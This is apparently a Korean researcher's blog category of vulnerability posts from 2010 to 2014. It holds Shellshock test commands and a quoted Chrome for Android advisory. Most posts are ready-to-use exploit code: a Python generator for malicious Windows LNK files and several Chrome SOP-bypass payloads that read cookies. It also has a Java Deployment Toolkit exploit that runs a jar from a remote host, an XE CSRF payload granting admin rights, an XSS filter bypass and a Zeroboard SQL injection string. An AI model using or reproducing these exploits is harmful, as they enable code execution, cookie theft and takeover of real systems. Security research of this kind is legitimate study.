shellshock test

vulnerability 2014. 10. 1. 15:01 |

rpm -qa|grep bash


env x='() { :;}; echo vulnerable' bash -c "echo this is a test"


env x='() { (a)=>\' bash -c "echo date"; cat echo ; rm -f echo


bash -c 'true <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF <<EOF' || echo "CVE-2014-7186 vulnerable, redir_stack"


(for x in {1..200} ; do echo "for x$x in ; do :"; done; for x in {1..200} ; do echo done ; done) | bash || echo "CVE-2014-7187 vulnerable, word_lineno"


foo='() { echo not patched; }' bash -c foo


case open

'vulnerability' 카테고리의 다른 글

보안필터 우회 종류  (0) 2013.05.22
00410041 exploit  (0) 2013.05.09
web browser bug hunting  (0) 2013.02.27
hwp & javascript  (0) 2012.10.16
GOM Player 2.1.33.5071 exploit  (0) 2011.12.09
Posted by applicationlayer
:

division slash

http://www.fileformat.info/info/unicode/char/2215/index.htm

'vulnerability' 카테고리의 다른 글

shellshock test  (0) 2014.10.01
00410041 exploit  (0) 2013.05.09
web browser bug hunting  (0) 2013.02.27
hwp & javascript  (0) 2012.10.16
GOM Player 2.1.33.5071 exploit  (0) 2011.12.09
Posted by applicationlayer
:

00410041 exploit

vulnerability 2013. 5. 9. 17:23 |

bof취약점이 있는데 unicode형식으로 데이터가 들어갈 경우 적용할 수 있는 익스플로잇 테크닉에 대해 알려준다.

http://www.manzotti.eu/tutorial-write-an-exploit-part-4-unicode

'vulnerability' 카테고리의 다른 글

shellshock test  (0) 2014.10.01
보안필터 우회 종류  (0) 2013.05.22
web browser bug hunting  (0) 2013.02.27
hwp & javascript  (0) 2012.10.16
GOM Player 2.1.33.5071 exploit  (0) 2011.12.09
Posted by applicationlayer
:
Posted by applicationlayer
:

web browser bug hunting

vulnerability 2013. 2. 27. 16:40 |

'vulnerability' 카테고리의 다른 글

보안필터 우회 종류  (0) 2013.05.22
00410041 exploit  (0) 2013.05.09
hwp & javascript  (0) 2012.10.16
GOM Player 2.1.33.5071 exploit  (0) 2011.12.09
CVE ID 받기  (0) 2011.03.31
Posted by applicationlayer
:

출처: http://packetstormsecurity.com/files/119303/androidchrome-bypass.txt


CVE Number:         CVE-2012-4908

Title:              Chrome for Android - Bypassing SOP for Local Files By Symlinks

Affected Software:  Confirmed on Chrome for Android v18.0.1025123

Credit:             Takeshi Terada

Issue Status:       v18.0.1025308 was released which fixes this vulnerability


Overview:

  Chrome for Android's Same-Origin Policy for local files (file: URI) can be

  bypassed by using symbolic links. It results in theft of Chrome's private

  files by malicious Android apps.


Details:

  Chrome for Android seems to forbid a local file to read another file,

  except for the originating file itself.


  http://code.google.com/p/chromium/issues/detail?id=37586


  However, it is possible to circumvent the restriction by a trick using

  symbolic link.


  This issue enables malicious Android apps to steal Chrome's private

  files such as Chrome's Cookie file, bookmark file, and so on.


  As an example, steps to steal Chrome's Cookie file are described below:


  1. An attacker's app creates a malicious HTML file, and makes Chrome load

     its URL with file: URI. The malicious HTML contains JavaScript code

     which, a few seconds later, tries to read the content of same URL with

     the malicious HTML itself via XMLHttpRequest.


     <body>

     <u>Wait a few seconds.</u>

     <script>

     function doitjs() {

       var xhr = new XMLHttpRequest;

       xhr.onload = function() {

         alert(xhr.responseText);

       };

       xhr.open('GET', document.URL);

       xhr.send(null);

     }

     setTimeout(doitjs, 8000);

     </script>

     </body>


  2. Before XHR fires, the attacker's app replaces the malicious

     HTML file with a symlink pointing to Chrome's Cookie file.


  3. When XHR fires, Chrome follows the symlink and provides the

     content of the Chrome's Cookie file to the malicious HTML.


  The attacker's app can also get the content of Chrome's other private

  files in a similar manner.


Proof of Concept:

  HTML/JavaScript is shown above. At present I do not have plans to disclose

  PoC of malicious Android app.


Timeline:

  2012/08/19  Reported to Google security team

  2012/08/25  Re-reported to Chrome security team

  2012/09/12  Vender announced v18.0.1025308

  2013/01/07  Disclosure of this advisory


Recommendation:

  Upgrade to the latest version.


Reference:

  http://googlechromereleases.blogspot.jp/2012/09/chrome-for-android-update.html

  https://code.google.com/p/chromium/issues/detail?id=144866

Posted by applicationlayer
:

브라우저별 SOP(same origin policy)허용범위


www.abc.net 에 접근 한다고 가정할 경우


ie.

가능 www.abc.net

가능 abc.net


chrome

가능 www.abc.net

가능 abc.net

가능 net


ff

가능 www.abc.net

가능 abc.net




'vulnerability > sop' 카테고리의 다른 글

androind chrome sop bypass  (0) 2013.02.18
Google Chrome 4.1.249.1059 Cross Origin Bypass in Google URL  (0) 2010.05.24
Posted by applicationlayer
:

hwp & javascript

vulnerability 2012. 10. 16. 00:56 |

출처: 한컴 공식 개발문서

스크립트 관련 설정:

1. 도구 -> 환경설정 -> 기타 -> 스크립트 실행 확인

2. 도구 -> 매크로 -> 스크립트 매크로 보안 설정

웹에서 hwp호출예제

<html>
 <script language="jscript">
  var App = new ActiveXObject("HWPFrame.HwpObject.1");  
  function OnChangeCharShape() {
   App.HAction.Run("SelectAll");
   App.HAction.GetDefault("CharShape"
     , App.HParameterSet.HCharShape.HSet);
   App.HParameterSet.HCharShape.FaceNameHangul = "궁서체";
   App.HParameterSet.HCharShape.FaceNameLatin = "궁서체";
   App.HParameterSet.HCharShape.FaceNameHanja = "궁서체";
   App.HParameterSet.HCharShape.FaceNameJapanese = "궁서체";
   App.HParameterSet.HCharShape.FaceNameOther = "궁서체";
   App.HParameterSet.HCharShape.FaceNameSymbol = "궁서체";
   App.HParameterSet.HCharShape.FaceNameUser = "궁서체";
   App.HParameterSet.HCharShape.Height = 4000;
   App.HParameterSet.HCharShape.TextColor = 16737792;
   App.HParameterSet.HCharShape.UnderlineType = 1;
   App.HParameterSet.HCharShape.ShadowType = 1;
   App.HAction.Execute("CharShape"
     , App.HParameterSet.HCharShape.HSet);
   App.HAction.Run("Cancel"); 
  }
 </script language="jscript">
 <body>
  <button onclick="OnChangeCharShape()">  글자 모양 변경 </button>
 </body>
</html>

 

'vulnerability' 카테고리의 다른 글

00410041 exploit  (0) 2013.05.09
web browser bug hunting  (0) 2013.02.27
GOM Player 2.1.33.5071 exploit  (0) 2011.12.09
CVE ID 받기  (0) 2011.03.31
LNK 파일 생성기(Windows LNK Vulnerability)  (1) 2010.07.27
Posted by applicationlayer
:
오랫만에 익스플로잇 분석을 해보려는데 exploit-db에 공개된 코드는 한글윈도우에서 실행되지 않는다. 익스플로잇이 실행되려면 메모리에 D9005700이 정확하게 박혀야한다. (eip의 값이되므로)
 
한글판에서는 이데이터가 메모리에 박힐때 변형된다. D9005700->3F00 이였던걸로 기억한다. 데이터가 문자의 범위가 아니어서 그런듯. 변형안되는걸로 바꿔보려고 0x00XX00XX 주소의 데이터중 FFD5(call ebp)를 찾아봤는데 없ㅋ엉ㅋ (하나 더 있긴한데 그것도 변형됨) 포기 ㅡ_ㅜ 한글판에서 먹히는 익스플로잇이 없다면 국내 영향은 많지 않겠네

'vulnerability' 카테고리의 다른 글

web browser bug hunting  (0) 2013.02.27
hwp & javascript  (0) 2012.10.16
CVE ID 받기  (0) 2011.03.31
LNK 파일 생성기(Windows LNK Vulnerability)  (1) 2010.07.27
html file upload form  (0) 2010.06.24
Posted by applicationlayer
:

CVE ID 받기

vulnerability 2011. 3. 31. 16:23 |
http://cve.mitre.org/about/faqs.html#a13

'vulnerability' 카테고리의 다른 글

hwp & javascript  (0) 2012.10.16
GOM Player 2.1.33.5071 exploit  (0) 2011.12.09
LNK 파일 생성기(Windows LNK Vulnerability)  (1) 2010.07.27
html file upload form  (0) 2010.06.24
Java Deployment Toolkit Test Page  (0) 2010.04.19
Posted by applicationlayer
:
ex) test.py c:\dll.dll

import sys

def u(s):
    lst = []
    for ch in s:
        ch = ch+"\x00"
        lst.append(ch)
    return reduce(lambda x,y:x+y, lst)


payload = "\x4C\x00\x00\x00\x01\x14\x02\x00\x00\x00\x00\x00\xC0\x00\x00\x00\x00\x00\x00\x46\x81\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x01\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\xF2\x00\x14\x00\x1F\x50\xE0\x4F\xD0\x20\xEA\x3A\x69\x10\xA2\xD8\x08\x00\x2B\x30\x30\x9D\x14\x00\x2E\x00\x20\x20\xEC\x21\xEA\x3A\x69\x10\xA2\xDD\x08\x00\x2B\x30\x30\x9D\xC8\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x00\x6A\x00\x00\x00\x00\x00\x00\x1E\x00\x22\x00"
payload = payload + u(sys.argv[1])+ "\x00\x00\xDC\xC2\xA4\xC2\x5C\xD1\x00\x00\xF4\xCE\xE8\xD4\x30\xD1\x20\x00\xDC\xC2\xA4\xC2\x5C\xD1\xD0\xC5\x20\x00\x00\xB3\x5C\xD5\x20\x00\x15\xC8\xF4\xBC\x7C\xB9\x20\x00\xF4\xBC\xE0\xAC\x2C\x00\x20\x00\x58\xD5\xDC\xB4\xE8\xC6\xB4\xC5\x2C\x00\x20\x00\x31\xC1\xA5\xB2\x20\x00\x0F\xBC\x20\x00\x90\xC7\xD9\xB3\x20\x00\xC5\xC5\x70\xB3\x74\xC7\xB8\xD2\xD0\xC5\x20\x00\x00\xB3\x5C\xD5\x20\x00\x24\xC1\x15\xC8\x44\xC7\x20\x00\xC0\xBC\xBD\xAC\x69\xD5\xC8\xB2\xE4\xB2\x2E\x00\x00\x00\x00\x00\x00\x00\x00\x00"
fil = open("poc.lnk","w")
fil.write(payload)
fil.close()

'vulnerability' 카테고리의 다른 글

GOM Player 2.1.33.5071 exploit  (0) 2011.12.09
CVE ID 받기  (0) 2011.03.31
html file upload form  (0) 2010.06.24
Java Deployment Toolkit Test Page  (0) 2010.04.19
XE 1.4.0.10 XSS/CSRF 취약점  (0) 2010.04.16
Posted by applicationlayer
:

html file upload form

vulnerability 2010. 6. 24. 14:58 |
html태그 중 하나인 file upload form을 사용하면 손쉽게 업로드 기능을 구현할 수 있다.

<input type=file name='test'>

사용자가 업로드를 이용할 때 두가지 액션이 필요한데
1. 파일선택
2. submit
이중 2번의 액션은 javascript를 이용하여 구현이 가능하다. 즉, 자동화를 할 수 있다.
1번 파일을 선택하는 액션은 스크립트를 사용하여도 자동화가 불가능한것 같다. 가능하다면 상당히 위험한 취약점으로 보고될 수 있다. 이를 이용하여 로컬PC의 특정파일이 탈취될 수 있다.

생각정리겸 끄적끄적

'vulnerability' 카테고리의 다른 글

CVE ID 받기  (0) 2011.03.31
LNK 파일 생성기(Windows LNK Vulnerability)  (1) 2010.07.27
Java Deployment Toolkit Test Page  (0) 2010.04.19
XE 1.4.0.10 XSS/CSRF 취약점  (0) 2010.04.16
FCK Editor  (0) 2010.04.11
Posted by applicationlayer
:

구글 크롬에서 발견된 동일 근원 정책(Same-Origin Policy) 정책 우회 취약점

SOP가 우회되는 브라우저를 사용하게되면 방문하는 모든 사이트가 XSS에 취약하게 된다.

poc는 다음과 같다. (출처:http://www.exploit-db.com/exploits/12657)
<iframe name="test" src="https://www.google.com/accounts/ManageAccount?hl=fr"></iframe>
<a href="#" value="test" onclick="window.open('javascr\u0009ipt:alert(document.cookie)','test')" >Inject JavaScript</a>
----
<iframe name="test" src="https://www.google.com/accounts/ManageAccount?hl=fr"></iframe>
<a href="#" value="test" onclick="window.open('javascr\x09ipt:alert(document.cookie)','test')" >Inject JavaScript</a>
----
<iframe name="test" src="https://www.google.com/accounts/ManageAccount?hl=fr"></iframe>
<a href="#" value="test" onclick="window.open('javascr\nipt:alert(document.cookie)','test')" >Inject JavaScript</a>
----
<iframe name="test" src="https://www.google.com/accounts/ManageAccount?hl=fr"></iframe>
<a href="#" value="test" onclick="window.open('javascr\ript:alert(document.cookie)','test')" >Inject JavaScript</a>
----
<iframe name="test" src="https://www.google.com/accounts/ManageAccount?hl=fr"></iframe>
<a href="#" value="test" onclick="window.open('javascr\tipt:alert(document.cookie)','test')" >Inject JavaScript</a>

'vulnerability > sop' 카테고리의 다른 글

androind chrome sop bypass  (0) 2013.02.18
브라우저별 domain SOP허용범위  (0) 2013.02.12
Posted by applicationlayer
:
<html>
<head><title>Java Deployment Toolkit Test Page</title></head>
<body>
    <script>
        // Tavis Ormandy <taviso@sdf.lonestar.org>, April 2010

        var u = "http: -J-jar -J\\\\lock.cmpxchg8b.com\\calc.jar none";

        if (window.navigator.appName == "Microsoft Internet Explorer") {
            var o = document.createElement("OBJECT");

            o.classid = "clsid:CAFEEFAC-DEC7-0000-0000-ABCDEFFEDCBA";

            // Trigger the bug
            o.launch(u);
        } else {
            // Mozilla
            var o = document.createElement("OBJECT");
            var n = document.createElement("OBJECT");

            o.type = "application/npruntime-scriptable-plugin;deploymenttoolkit";
            n.type = "application/java-deployment-toolkit";
            document.body.appendChild(o);
            document.body.appendChild(n);

            // Test both MIME types
            try {
                // Old type
                o.launch(u);
            } catch (e) {
                // New type
                n.launch(u);
            }
        }

        // Bonus Vulnerability, why not downgrade victim to a JRE vulnerable to
        // this classic exploit?
        // http://sunsolve.sun.com/search/document.do?assetkey=1-66-244991-1

        // o.installJRE("1.4.2_18");
    </script>
</body>
</html>

'vulnerability' 카테고리의 다른 글

LNK 파일 생성기(Windows LNK Vulnerability)  (1) 2010.07.27
html file upload form  (0) 2010.06.24
XE 1.4.0.10 XSS/CSRF 취약점  (0) 2010.04.16
FCK Editor  (0) 2010.04.11
Zeroboard에서 발생한 Mass Sql Injection  (0) 2010.01.26
Posted by applicationlayer
:
XE개발자분들 고생이 많네요

이번에 발견된 CSRF취약점은 특정 계정을 관리자 권한으로 올릴수 있는 취약점입니다. 널루트에서 발견했고요 poc를 발표했습니다.

<object type="text/x-scriptlet" data="http://test.com/xe/index.php?member_srl= 숫자&user_id=아이디& user_name=사용자이름&nick_name=닉네임&email_address=이메일주소& allow_mailing=Y&is_admin=Y&group_srl_list=2&module=member&act=procMemberAdminInsert" height="0" width="0"></object>


XSS취약점은 이벤트 태그를 차단하는 정규식에서 우회방법이 존재하는 문제였습니다.

이건 걸리지만
<img src="xxx" onload=XSS>

이건 안걸려요ㅋㅋ
<img src="xxx"onload=XSS>

그래서 이번 패치에서는 func.inc.php파일 내용이 다음과 같이 변경이 되었습니다.
/(\r|\n| |\t|\"|\'|\/|\`)+on(click|........


'vulnerability' 카테고리의 다른 글

LNK 파일 생성기(Windows LNK Vulnerability)  (1) 2010.07.27
html file upload form  (0) 2010.06.24
Java Deployment Toolkit Test Page  (0) 2010.04.19
FCK Editor  (0) 2010.04.11
Zeroboard에서 발생한 Mass Sql Injection  (0) 2010.01.26
Posted by applicationlayer
:

FCK Editor

vulnerability 2010. 4. 11. 03:22 |
d

'vulnerability' 카테고리의 다른 글

LNK 파일 생성기(Windows LNK Vulnerability)  (1) 2010.07.27
html file upload form  (0) 2010.06.24
Java Deployment Toolkit Test Page  (0) 2010.04.19
XE 1.4.0.10 XSS/CSRF 취약점  (0) 2010.04.16
Zeroboard에서 발생한 Mass Sql Injection  (0) 2010.01.26
Posted by applicationlayer
:
참고: http://www.securityplus.or.kr/xe/?document_srl=17273&vid=bangrip1

취약쿼리실행

update zetyx_board_id set downloadXXX=downloadXXX+1 where no='6'

공격문
download.php?id=id&filenum=1=download1,memo= concat(char(67),char(79),char(68),char(69))%23&no=6

1=download1 의 경우 임의의 문자삽입 가능
예)
2=111



'vulnerability' 카테고리의 다른 글

LNK 파일 생성기(Windows LNK Vulnerability)  (1) 2010.07.27
html file upload form  (0) 2010.06.24
Java Deployment Toolkit Test Page  (0) 2010.04.19
XE 1.4.0.10 XSS/CSRF 취약점  (0) 2010.04.16
FCK Editor  (0) 2010.04.11
Posted by applicationlayer
: